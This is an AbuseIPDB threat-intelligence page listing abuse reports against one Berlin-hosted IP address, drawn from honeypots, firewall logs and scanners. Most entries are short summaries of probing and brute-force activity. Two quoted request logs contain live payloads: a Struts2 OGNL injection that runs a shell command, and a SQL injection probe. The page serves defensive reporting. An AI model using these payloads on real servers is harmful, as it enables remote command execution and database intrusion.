JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 216.26.247.1

216.26.247.1 was found in our database!

This IP was reported 26 times. Confidence of Abuse is 40%: ?

40%

ISP	3xK Tech GmbH
Usage Type	Data Center/Web Hosting/Transit
ASN	AS200373
Domain Name	3xktech.cloud
Country	🇩🇪 Germany
City	Berlin, State of Berlin

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 216.26.247.1

Whois 216.26.247.1

IP Abuse Reports for 216.26.247.1:

This IP address has been reported a total of 26 times from 15 distinct sources. 216.26.247.1 was first reported on October 30th 2025, and the most recent report was 5 hours ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇫🇷 ELYAZ	2026-06-12 02:38:25 (5 hours ago)	(y4) Failed scan -byebye- from 216.26.247.1 (ES/Spain/-): (CF_ENABLE)	Hacking
🇺🇸 lostswordfish.com	2026-06-11 10:26:04 (21 hours ago)	Wordfence waf block on wvrsol	Web App Attack
🇫🇷 pm33	2026-06-10 19:32:56 (1 day ago)	Wordpress login attempts	Brute-Force
🇦🇺 MAGIC	2026-06-10 01:24:48 (2 days ago)	VM1 Bad user agents ignoring web crawling rules. Draing bandwidth	DDoS Attack Bad Web Bot
🇬🇧 PeravixGroup	2026-05-25 13:13:03 (2 weeks ago)	Honeypot detection: FTP brute-force or anonymous access attempt on port 21. Severity: MEDIUM. Aaran. ... show more Honeypot detection: FTP brute-force or anonymous access attempt on port 21. Severity: MEDIUM. Aaran.cloud show less	FTP Brute-Force Brute-Force
🇬🇧 PeravixGroup	2026-05-22 13:22:47 (2 weeks ago)	Honeypot detection: Elasticsearch unauthorized access / data leak attempt on port 9200. Severity: ME ... show more Honeypot detection: Elasticsearch unauthorized access / data leak attempt on port 9200. Severity: MEDIUM. Aaran.cloud show less	Hacking Exploited Host
Anonymous	2026-04-27 14:32:40 (1 month ago)	216.26.247.1 - - [27/Apr/2026:14:32:39 +0000] "GET http://grey.alien.net.au/.env HTTP/1.1" 404 437 " ... show more 216.26.247.1 - - [27/Apr/2026:14:32:39 +0000] "GET http://grey.alien.net.au/.env HTTP/1.1" 404 437 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ... show less	Bad Web Bot Web App Attack
🇦🇺 MAGIC	2026-04-21 01:03:28 (1 month ago)	VM1 Bad user agents ignoring web crawling rules. Draing bandwidth	DDoS Attack Bad Web Bot
🇫🇷 Security_Whaller	2026-04-20 15:32:44 (1 month ago)	Malicious activity detected on Honeypot.	Brute-Force Hacking Web App Attack
🇨🇳 ThreatBook.io	2026-04-18 23:00:33 (1 month ago)	ThreatBook Intelligence: Scanner,Spam more details on https://threatbook.io/ip/216.26.247.1 2026-04- ... show more ThreatBook Intelligence: Scanner,Spam more details on https://threatbook.io/ip/216.26.247.1 2026-04-18 11:49:04 /?(%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003dfalse%27)(bla)(bla)&(%27\u0023_memberAccess.excludeProperties\[email protected]@EMPTY_SET%27)(kxlzx)(kxlzx)&(%27\u0023_memberAccess.allowStaticMethodAccess\u003dtrue%27)(bla)(bla)&(%27\u0023mycmd\u003d\%27netstat%20-an\%27%27)(bla)(bla)&(%27\u0023myret\[email protected]@getRuntime().exec(\u0023mycmd)%27)(bla)(bla)&(A)((%27\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())%27)(bla))&(B)((%27\u0023myres\u003dnew\40byte[51020]%27)(bla))&(C)((%27\u0023mydat.readFully(\u0023myres)%27)(bla))&(D)((%27\u0023mystr\u003dnew\40java.lang.String(\u0023myres)%27)(bla))&(%27\u0023myout\[email protected]@getResponse()%27)(bla)(bla)&(E)((%27\u0023myout.getWriter().println(\u0023mystr)%27)(bla)) 2026-04-18 11:49:03 / show less	Web App Attack
🇨🇳 ThreatBook.io	2026-04-14 22:58:04 (1 month ago)	ThreatBook Intelligence: Scanner,vpn_proxy more details on https://threatbook.io/ip/216.26.247.1 202 ... show more ThreatBook Intelligence: Scanner,vpn_proxy more details on https://threatbook.io/ip/216.26.247.1 2026-04-14 22:02:08 /index.php?s=member&c=api&m=checktitle&id=13&title=123&module=news,(SELECT(CASE%20WHEN%201%20THEN%20EXP(5000)%20ELSE%200%20END))%20as%20aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 2026-04-14 22:02:08 /index.php?s=member&c=api&m=checktitle&id=13&title=123&module=news,(SELECT(CASE%20WHEN%200%20THEN%20EXP(5000)%20ELSE%200%20END))%20as%20aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa show less	Web App Attack
🇨🇳 ThreatBook.io	2026-04-01 23:14:23 (2 months ago)	ThreatBook Intelligence: Zombie,vpn_proxy more details on https://threatbook.io/ip/216.26.247.1 2026 ... show more ThreatBook Intelligence: Zombie,vpn_proxy more details on https://threatbook.io/ip/216.26.247.1 2026-04-01 18:09:10 / show less	Web App Attack
Anonymous	2025-12-30 13:22:35 (5 months ago)	Fuzzing/Looking for credentials files.	Brute-Force Web App Attack
🇺🇸 TPI-Abuse	2025-12-29 05:33:54 (5 months ago)	(mod_security) mod_security (id:210730) triggered by 216.26.247.1 (-): 1 in the last 300 secs; Ports ... show more (mod_security) mod_security (id:210730) triggered by 216.26.247.1 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Dec 29 00:33:49.711931 2025] [security2:error] [pid 32571:tid 32571] [client 216.26.247.1:58227] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy\|\|investorscalifornia.com\|F\|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "investorscalifornia.com"] [uri "/.svn/wc.db"] [unique_id "aVISvULzZFrbxlVUIRaMAAAAAB0"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-12-29 04:50:16 (5 months ago)	(mod_security) mod_security (id:210492) triggered by 216.26.247.1 (-): 1 in the last 300 secs; Ports ... show more (mod_security) mod_security (id:210492) triggered by 216.26.247.1 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sun Dec 28 23:50:09.957918 2025] [security2:error] [pid 17483:tid 17483] [client 216.26.247.1:40073] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rodandreelpiercam.com"] [uri "/.svn/wc.db"] [unique_id "aVIIgT6QTKV9orh-M4nm1AAAAAk"] show less	Brute-Force Bad Web Bot Web App Attack

Showing 1 to 15 of 26 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇨🇳 220.167.232.57

🇩🇪 194.88.98.120

🇧🇷 191.40.95.61

🇯🇵 152.32.203.18

🇷🇴 80.94.92.186

🇺🇸 74.114.29.30

🇺🇸 71.6.236.207

🇲🇾 49.124.152.244

🇲🇾 49.124.151.45

🇳🇱 20.33.25.54

🇸🇬 8.219.214.80

🇳🇱 176.65.148.44

🇸🇬 172.253.211.88

🇨🇳 125.124.226.217

🇺🇸 104.196.160.142

🇸🇪 83.191.176.93

🇩🇪 69.5.169.215

🇺🇸 52.176.211.73

🇭🇰 47.238.76.77

🇳🇱 45.148.10.121